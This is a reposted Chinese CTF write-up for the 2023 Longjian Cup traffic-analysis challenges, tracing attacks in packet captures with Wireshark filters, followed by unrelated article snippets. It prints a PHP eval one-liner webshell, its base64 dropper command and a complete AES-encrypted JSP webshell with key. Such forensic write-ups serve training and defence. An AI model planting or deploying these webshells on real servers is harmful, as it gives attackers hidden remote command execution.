2023陇剑杯-流量分析篇-wp

1.ez_web

Q1:服务器自带的后门文件是什么?
常用http过滤命令:http.request.full_urihttp.request.method==POST

        查看第一个POST请求,发现关键点file_put_contents(备注:file_put_contents内置函数,用于将字符串写入文件)分析可知,攻击者首先通过ViewMore.php写入一句话木马d00r.php,然后通过d00r.php执行系统命令,具体分析如下:

file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));,file_put_contents 函数将经过Base64编码的PHP代码写入到一个名为'd00r.php'的文件中。 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== base64解码后对应的PHP代码为<?php eval($_POST['cmd']);?>(经典的php一句话木马)

然后通过一句话木马文件d00r.php执行whoami,ls等一系列系统命令。

因此服务器自带的后门文件是ViewMore.php。

Q2:服务器的内网IP是什么?

如下所示:第22251个流,追踪http数据流,

查看ipconfig的回显,发现内网ip地址为:192.168.101.132

Q3:攻击者往服务器中写入的key是什么?

追踪http数据流,将cmd执行命令进行url解码,分析可知file_put_contents 函数将解码得到的数据写入到名为k3y_f1le的文件中,

base64解码发现:PK开头,直接保存为1.zip 

压缩文件存在密码?

继续查看POST请求包,追踪23473流发现执行了cat /passwd命令,猜测响应值为密码

解压可得到key.txt

解压密码:7e03864b0db7e6f9
key.txt
flag值:7d9ddff2-2d67-4eba-9e48-b91c26c42337

2.hard_web

Q1:服务器开放了那些端口?按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80,81,82端口,即答案为80,81,82
TCP扫描端口,如果端口是开放的,那么服务端会返回SYN + ACK数据包
因此需要过滤SYN、ACK状态都为1的包,标志位都处于Set状态的包
过滤命令如下:tcp.flags.syn==1 and tcp.flags.ack==1

因此服务器开放的端口为80,888,8888

Q2:服务器根目录下得flag值是多少?
Q3:webshell的连接密码是多少?

直接过滤post请求,本流量包post请求就下面几条,一个一个追踪tcp数据流(或者http数据流)

追踪数据流发现,POST流量全部都是加密的,完全看不懂请求和响应的内容。

重新过滤http请求,在24207个流发现,攻击者查看(cat )shell.jsp内容,加密webshell,其密钥为748007e861908c03。

格式化代码:AES密钥    webshell连接密码,后续POST的流量都是加密的。

<% !String xc = "748007e861908c03";
class X extends ClassLoader {public X(ClassLoader z) {super(z);}public Class Q(byte[] cb) {return super.defineClass(cb, 0, cb.length);}
}
public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}} %> <%try {byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream = request.getInputStream();int _num = 0;while ((_num += inputStream.read(data, _num, data.length)) < data.length);data = x(data, false);if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);Object f = ((Class) session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));}} catch (Exception e) {} %>

追踪TCP数据流,解密post流量

将POST请求体中的数据以hex格式进行显示,即:显示为原始数据,以0d0a进行分隔(去除请求头和响应头,留下请求体信息以及响应体信息)。

AES解密POST请求数据,具体如下:

TCP追踪流24362 解密流量

  解密请求体,发现cat /flag
      继续解密该请求对应的响应体,具体如下:

   得到flag
flag{9236b29d-5488-41e6-a04b-53b0d8276542}

注意:追踪TCP流需要解码gzip。什么是gzip请参考:什么是gzip?-CSDN博客

3.wireshark

Q1:被入侵主机的IP是多少?
Q2:被入侵主机的口令是?
Q3:用户目录下第二个文件夹的名称是?
Q4:/etc/passwd中倒数第二个用户名是什么?

4.SSW(SmallSword)

Q1:连接蚁剑的正确密码是?(答案:123asd)
Q2:攻击者留存的值是?(示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
Q3:攻击者下载到的flag是?(答案示例:flag3[uuid))

5.tcpdump

Q1:题目内容:攻击者通过暴力破解进入了某Wiki文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
Q2:题目内容:攻击者发现软件存在越权漏洞,请给出越权者越权使用的cookie的内容的md5值(32位小写)
Q3:题目内容:攻击者使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以冒号拼接,示例:root:123456
Q4:题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出CVE编号以及远程EXP的文件名,使用冒号拼接,例如:CVE-2020-19817:exp.so
Q5:题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap

6. hacher

Q1:题目内容:admin用户的密码是什么?
Q2:题目内容:app.config[''SECRET_KEY'']值为多少?
Q3:题目内容:flask网站由哪个用户启动?
Q4:题目内容:攻击者写入内存马的路由名叫什么?(答案不需要加/)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/6942.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

访学/博后/联培博士关注|不同国家的英语口音辨识度训练

在访问学者、博士后及联合培养的申请过程中&#xff0c;接收方多数都要求英文面试。如果导师的母语为非英语国家&#xff0c;将会带有口音&#xff0c;这样更增加了英语面试难度。如何提升不同国家的英语口音辨识度&#xff0c;使自己的英语表达更加流利&#xff0c;知识人网小…

KEIL 5.38的ARM-CM3/4 ARM汇编设计学习笔记13 - STM32的SDIO学习5 - 卡的轮询读写擦

KEIL 5.38的ARM-CM3/4 ARM汇编设计学习笔记13 - STM32的SDIO学习5 - 卡的轮询读写擦 一、前情提要二、目标三、技术方案3.1 读写擦的操作3.1.1 读卡操作3.1.2 写卡操作3.1.3 擦除操作 3.2 一些技术点3.2.1 轮询标志位的选择不唯一3.2.2 写和擦的卡状态查询3.2.3 写的速度 四、代…

轨道交通巡检机器人的应用范围

在现代轨道交通系统的庞大网络中&#xff0c;无数的轨道、设备和设施交织在一起&#xff0c;如同一个精密的机器在高效运转。而在这背后&#xff0c;轨道交通巡检机器人正悄然登场&#xff0c;它们如同一个个智能的守护者&#xff0c;穿梭于各个场景之中。那么&#xff0c;这些…

python从0开始学习(三)

目录 前言 1、类型转换 1.1 隐式类型转换 1.2 显式类型转换 2、eval函数 总结 前言 上篇我们讲了python中的变量与常量&#xff0c;以及变量类型。本篇文章将接着往下讲。 1、类型转换 python中的数据类型转换包括两种&#xff1a;隐式类型转换和显式类型转换。 1.1 隐式…

SAPUI5基础知识1 - 概览,库,支持工具,自学教程

1. SAPUI5 概览 1.1 SAPUI5 SAPUI5是一种用于构建企业级Web应用程序的开发框架。它是由SAP开发的&#xff0c;基于HTML5、CSS3和JavaScript技术。 SAPUI5提供了一套丰富的UI控件和工具&#xff0c;使开发人员能够快速构建现代化、可扩展和可定制的应用程序。 它还提供了数据…

西门子数控网络IP设定配置

总结&#xff1a;menuselect-诊断-屏幕下方右翻页找到tcp/ip&#xff0c;进去选择tcp/ip诊断&#xff0c;进去选择x130网口&#xff0c;点击更改&#xff0c; 如果没有更改&#xff0c;menuselect-调试-口令&#xff0c;输入口令 sunrise 然后重新配置tcp/ip&#xff0c;配置完…

Qt 6 开源版(免费) -- 在线安装图解

经常遇到询问&#xff1a;有没有Qt6安装包&#xff1f; ......&#xff0c;真没有呢~~ 从Qt6起&#xff0c;它整了两个重大改变&#xff08;并非指技术&#xff09;&#xff1a; 在线安装&#xff0c;不再提供单独的安装包主推收费的商业版 当然的&#xff0c;为了培养市场…

SPSS之聚类分析

SPSS中系统聚类分析功能在【分析】—【分类】—【系统聚类】中完成。系统聚类有两种类型&#xff0c;一种是对样本进行聚类&#xff0c;称为Q型聚类&#xff1b;一种是对变量进行聚类&#xff0c;称为R型聚类。在【系统聚类分析】—【聚类】框下选择【个案】——Q型聚类&#x…

微信小程序生成二维码加密(CryptoJS4.0加密PHP8.0解密)AES方式加密

1、小程序创建 crypto-js.js和crypto.js两个文件&#xff08;点击文件即可&#xff09; 2、小程序js页面引入 var crypto require(../../utils/crypto.js);//注意路径是否正确3、使用 let data {id: that.data.id,name: dx}console.log(JSON.stringify(data))console.log(&…

iOS - Undefined symbols: 解决方法

Undefined symbols: 是让人苦恼的报错&#xff0c;如何知道是 哪个 symbols 不对呢&#xff1f; 今天探索到下面的方法&#xff1a; 1、点击导航上方 最右侧的按钮&#xff0c;查看历史报错 2、选中报错信息&#xff0c;右键选择 Expand All Transcripts 在出现的详细信息面…

FreeRTOS软件定时器(1-18)

软件定时器简介 定时器&#xff1a;从指定的时刻开始&#xff0c;经过一个指定时间&#xff0c;然后触发一个超时事件&#xff0c;用户可以自定义 定时器周期。 硬件定时器&#xff1a;芯片本身自带的定时器模块&#xff0c;硬件定时器的精度一般很高&#xff0c;每次在定时时…

Java常用命令总结 持续更新中!!!

蓝桥杯JAVA组 推荐输入输出示例 // 基础输入 import java.util.*;public class Main{public static void main(String[] args){} }// 非静态方法调用 new Main.Solution();//static函数里面调用非static函数 类.函数// 更快的输入方式 BufferedReader // 更快的输出方式 Print…

js监听页面的显示和隐藏

下方微信公众号 和微信小程序推荐 js监听页面的显示和隐藏 在JavaScript中&#xff0c;监听页面的显示和隐藏可以通过监听visibilitychange事件来实现。visibilitychange事件会在页面的可见性发生变化时触发。 以下是一个简单的示例&#xff0c;演示如何使用visibilitychan…

《面向对象程序设计及C++》实验报告

《面向对象程序设计及C》实验报告 一、实验目的与实验要求 &#xff08;1&#xff09;掌握类的定义、类中成员函数的定义和使用、构造函数和析构函数的定义、功能&#xff1b;掌握对象的使用方法。 &#xff08;2&#xff09;掌握静态数据成员、静态成员函数的功能和使用方法…

Linux —— 信号初识

Linux —— 信号初识 什么是信号测试几个信号signal函数函数原型参数说明返回值注意事项示例 后台程序前台转后台检测输入中断向量表 我们今天来继续学习Linux的内容&#xff0c;今天我们要了解的是Linux操作系统中的信号&#xff1a; 什么是信号 信号是操作系统内核与进程之…

判断dll/lib是32/64位、查看lib是导入库/静态库的方法 、查看dll包含的符合、lib包含的函数

一、判断dll/lib是32/64位 原文链接&#xff1a;https://www.cnblogs.com/bandaoyu/p/16752602.html 1. 简便方法&#xff1a; 直接用记事本或者notepad(或txt文本)打开exe文件&#xff08;dll文件&#xff09;&#xff0c;会有很多乱码&#xff0c;不要头疼&#xff0c;接下…

Vitis HLS 学习笔记--Schedule Viewer 调度查看器

目录 1. 简介 2. Schedule Viewer详解 2.1 视图说明 2.1.1 Operation\Control Step 2.1.2 周期关系图 2.1.3 Schedule Viewer 菜单栏 2.1.4 属性视图 2.2 内容说明 2.2.1 实参&#xff08;b&#xff09;解释 2.2.2 实参&#xff08;a&#xff09;解释 2.2.3 变量&am…

Windows如何安装hadoop

Hadoop是一个开源的分布式计算平台&#xff0c;旨在处理大规模数据的存储和处理。它提供了分布式文件系统&#xff08;HDFS&#xff09;和分布式计算框架&#xff08;MapReduce&#xff09;&#xff0c;使得用户能够在大规模集群上存储和处理数据。Hadoop最初由Apache软件基金会…

cmake进阶:定义函数的使用方法

一. 简介 前面已经将 cmake 中常用的命令 command、变量 variable 都给大家进行了详细介绍&#xff0c;通过前面的学习&#xff0c;相信大家已经掌握了 cmake 工具的基本使用方法&#xff1b; 接下来我们再进一步学习 cmake&#xff0c;本文开始学习 cmake中定义函数。 二. …

TypeScript学习日志-第十九天(namespace命名空间)

namespace命名空间 一、基本用法 namespace 所有的变量以及方法必须要导出才能访问&#xff0c;如图&#xff1a; 二、 嵌套 namespace 可以进行嵌套使用&#xff0c;如图&#xff1a; 它也必须需要导出才能访问 三、合并 当我们出现两个同名的 namespace 它就会合并这两…